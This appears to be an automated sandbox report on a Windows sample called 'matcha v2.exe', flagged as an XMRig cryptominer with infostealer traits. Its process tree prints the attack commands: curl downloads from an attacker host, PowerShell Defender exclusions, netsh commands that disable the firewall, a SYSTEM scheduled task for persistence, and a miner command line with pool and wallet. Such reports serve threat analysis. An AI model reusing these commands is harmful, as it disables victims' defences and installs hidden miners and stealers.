Resubmissions

29/07/2026, 01:16

260729-bm22ha1erd10

29/07/2026, 01:13

260729-ble6ca1ema10

Analysis

  • user interaction
    yes
  • max time kernel
    121s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 01:13

General

  • Target
    matcha v2.exe
  • Size 1.1MB
  • Sample260729-ble6ca1ema
  • SHA256 7476470dcc4b9cf79b2d149369eae4a8f9923b3d9df430c549bccdaef3d9ba93
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Windows Firewall 2 TTPs 4 IoCs
  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 50 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\matcha v2.exe
    "C:\Users\Admin\AppData\Local\Temp\matcha v2.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\SYSTEM32\curl.exe
      "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
      2⤵
        PID:3264
      • C:\Windows\SYSTEM32\tar.exe
        "tar" "-xf" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex"
        2⤵
          PID:4864
        • C:\Windows\SYSTEM32\curl.exe
          "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"
          2⤵
            PID:3236
          • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:5624
          • C:\Windows\SYSTEM32\curl.exe
            "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt" "https://thisisafalsepositive.st/cdn/5ef451455923"
            2⤵
              PID:5580
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
              "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "-m" "pip" "install" "-r" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt"
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:3580
            • C:\Windows\SYSTEM32\curl.exe
              "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py.downloading" "https://thisisafalsepositive.st/cdn/e/42a522313d92"
              2⤵
                PID:5496
              • C:\Windows\SYSTEM32\curl.exe
                "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\app.pyd.downloading" "https://thisisafalsepositive.st/cdn/e/36f2c0035ef9"
                2⤵
                  PID:5608
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                  "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py" "-u" "e84b2629-3872-4620-855e-0f262950a936" "--host" "thisisafalsepositive.st" "--env" "EXE"
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:788
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                    3⤵
                      PID:1140
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe
                      C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\get-pip.py
                      3⤵
                      • Executes dropped EXE
                      PID:3560
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe
                      C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe install -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:6040
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe
                        "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe" install -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt
                        4⤵
                        • Executes dropped EXE
                        PID:2740
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe
                      C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py -u e84b2629-3872-4620-855e-0f262950a936
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2476
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:1636
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:3336
                      • C:\Windows\SYSTEM32\netsh.exe
                        netsh advfirewall set allprofiles state off
                        4⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:4108
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f
                        4⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:972
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /run /tn RuntimeBroker
                        4⤵
                          PID:5072
                        • C:\Windows\SYSTEM32\netsh.exe
                          netsh advfirewall firewall delete rule "name=Windows Security Health Service"
                          4⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:2852
                        • C:\Windows\SYSTEM32\netsh.exe
                          netsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any
                          4⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:1888
                        • C:\Windows\SYSTEM32\netsh.exe
                          netsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any
                          4⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:5024
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:4500
                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe
                          C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe
                          4⤵
                            PID:4296
                            • C:\Windows\system32\notepad.exe
                              "C:\Windows\system32\notepad.exe" --donate-level 3 -o xmr.kryptex.network:7029 -u 45KU8RaHwRzC5NJY6HBALWZQ9dpwLjrMK8HYbk5svzHvLwC7W1QrxZb6bUop6FnDmYS3bHFCKg1MD28779yVKbwo6toBGAh -p x --cpu-max-threads-hint=50 -a rx/0 --http-port 8888
                              5⤵
                                PID:5440
                            • C:\Users\Admin\AppData\Local\Temp\SystemInterrupts.exe
                              C:\Users\Admin\AppData\Local\Temp\SystemInterrupts.exe
                              4⤵
                                PID:2840
                        • C:\Windows\system32\taskmgr.exe
                          "C:\Windows\system32\taskmgr.exe" /4
                          1⤵
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of SetWindowsHookEx
                          PID:2704
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                          1⤵
                          • Enumerates system info in registry
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of WriteProcessMemory
                          PID:1796
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcc203c728,0x7ffcc203c734,0x7ffcc203c740
                            2⤵
                              PID:4232
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1716,i,7094994472031314389,7783400262779186576,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:11
                              2⤵
                              • System Time Discovery
                              PID:5312
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,373537988547485581,7291458953143165712,262144 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
                              2⤵
                                PID:5532
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,17808545897387180886,15528497476189961926,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:13
                                2⤵
                                  PID:4764
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3248,i,13077515055060152246,14027727120137088397,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
                                  2⤵
                                    PID:1840
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3244,i,15628074782999277120,13784821106795135885,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
                                    2⤵
                                      PID:3424
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4724,i,15858838221361489610,12128540256211902076,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:1
                                      2⤵
                                        PID:3080
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4876,i,12386724476252627166,13158542995326508659,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:14
                                        2⤵
                                          PID:3364
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5416,i,15226168011786236799,10191482284500245537,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:14
                                          2⤵
                                            PID:2348
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5496,i,6984079089987442980,17168693072997321137,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
                                            2⤵
                                              PID:5152
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5560,i,16545418510639482216,3217657923411633890,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
                                              2⤵
                                                PID:1712
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5608,i,12642523062977988862,505430973689422903,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
                                                2⤵
                                                  PID:4808
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5592,i,6796299636241079672,16133774050315745359,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
                                                  2⤵
                                                    PID:5592
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5416,i,13179958128572817934,16496686158528892082,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:1
                                                    2⤵
                                                      PID:3016
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6128,i,12589579672972239549,14908725293240979403,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:1
                                                      2⤵
                                                        PID:5804
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,10966029592686277958,8435574976288642306,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
                                                        2⤵
                                                          PID:1456
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5720,i,13452800935945994418,10057706690317222104,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
                                                          2⤵
                                                            PID:3720
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6312,i,5659882716180347175,10743312376005278263,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
                                                            2⤵
                                                              PID:2740
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,9798707823783992736,1761866356505429482,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:14
                                                              2⤵
                                                                PID:1696
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6292,i,7811894233718148593,9016891378287471995,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
                                                                2⤵
                                                                  PID:5836
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5528,i,17803149641672482199,13770784576109849294,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
                                                                  2⤵
                                                                    PID:3708
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5632,i,2766536545592537775,2714023819992129966,2097152 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:9
                                                                    2⤵
                                                                      PID:1324
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5568,i,5343080514157636754,16842390801850504246,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:14
                                                                      2⤵
                                                                        PID:5868
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6104,i,6158529103188815540,13752244126284709457,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:14
                                                                        2⤵
                                                                          PID:1920
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5632,i,4960779517587282834,2430428876534096004,524288 --field-trial-handle=1488,i,12634020265089375606,17722529092638661719,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
                                                                          2⤵
                                                                            PID:4988
                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                          1⤵
                                                                            PID:4796
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                            1⤵
                                                                              PID:2916
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                              1⤵
                                                                              • Modifies data under HKEY_USERS
                                                                              PID:1328
                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                              1⤵
                                                                                PID:2024
                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                1⤵
                                                                                  PID:3068
                                                                                • C:\Windows\System32\rundll32.exe
                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                  1⤵
                                                                                    PID:5444
                                                                                  • C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe
                                                                                    "C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3832
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                                                                                      2⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops file in Windows directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:3464
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"
                                                                                      2⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      PID:2200
                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe
                                                                                      "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt
                                                                                      2⤵
                                                                                        PID:4056
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "ver"
                                                                                          3⤵
                                                                                          • Executes a command shell one-liner
                                                                                          PID:4688
                                                                                    • C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe
                                                                                      C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:3860
                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe
                                                                                      C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe
                                                                                      1⤵
                                                                                        PID:4224

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v16

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            BookmarkMergedSurfaceOrdering

